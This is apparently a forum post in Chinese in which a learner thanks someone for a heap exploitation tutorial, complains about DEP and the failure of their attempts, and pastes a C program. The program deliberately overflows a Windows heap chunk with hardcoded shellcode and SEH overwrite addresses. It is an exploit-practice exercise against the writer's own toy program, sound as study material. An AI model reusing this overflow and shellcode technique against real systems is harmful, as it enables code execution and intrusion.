謝謝!! 要把HEAP 利用學好呀
但看了一些文章現時的DEP 保護好像很猛, CPU乜可以有保護 , 希望不會把OVEFLOW 堵塞啦, 不然就沒得玩了
ps.
HEAP 真是很難玩呀!! 已經找到BUFF 和 SEH ADDRESS 跟足上邊的教學方法也不能exploit成功, 暈啦!!!
#include <stdio.h>
#include <windows.h>
int main(int argc, char *argv[])
{
HLOCAL peb_chunk1 = NULL;
HLOCAL peb_chunk2 = NULL;
HANDLE peb_heap = NULL;
char buff[4096]={0};
int i;
char* shellcode=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x33\xC0\xB8\x18\xA5\xE8\x77\x68\x00\x04\x00\x00\x68\x00\x03\x00\x00\xFF\xD0\x33\xC0\xB8\xBB\xB0\xE7\x77\xFF\xD0"
; //28 bytes
//16A + 8B 4X + 4Y
// char* jmp=
// "AAAAAAAAAAAAAAABBBBBBBBBBBBBBBBCCCCCCCCCCCCCCCCDDDDDDDDDDDDDDDDEEEEEEEEEEEEEEEEFFFFFFFFFFFFFFFFGGGGGGGGGGGGGGGGAAAAAABCZZZZZZAZaaaa\x4c\x04\xec\x77";
printf("\nAn example heap overflow bug\n");
peb_heap = HeapCreate(0x00, 0x00, 0x00);
printf("here is heap 1\n");
peb_chunk1 = HeapAlloc(peb_heap, 0x00, 0x64);
// char* JMPSEH="\x4c\x04\xec\x77";
//112 + 5 + 24
printf("%p\n", &buff);
for(i=0;i<sizeof(buff);) //116
{
*(unsigned int *)&buff[i++] = 0xeb;
*(unsigned int *)&buff[i++] = 0x06;
}
*(unsigned int *)&buff[112] = 0x0012EF84; //shellcode Address
*(unsigned int *)&buff[116] = 0x77ec044c; //SEH Address
memcpy(&buff[sizeof(buff)-(28+16)],shellcode,28+16);
memcpy((char *)peb_chunk1, buff , 4096);
printf("here is heap 2\n");
peb_chunk2 = HeapAlloc(peb_heap, 0x00, 0x64);
strcpy((char *)peb_chunk1, "TEST");
printf("here is free\n");
HeapFree(peb_heap, 0x00, peb_chunk1);
printf("here is free\n");
HeapFree(peb_heap, 0x00, peb_chunk2);
HeapDestroy(peb_heap);
system("pause");
return 0;
}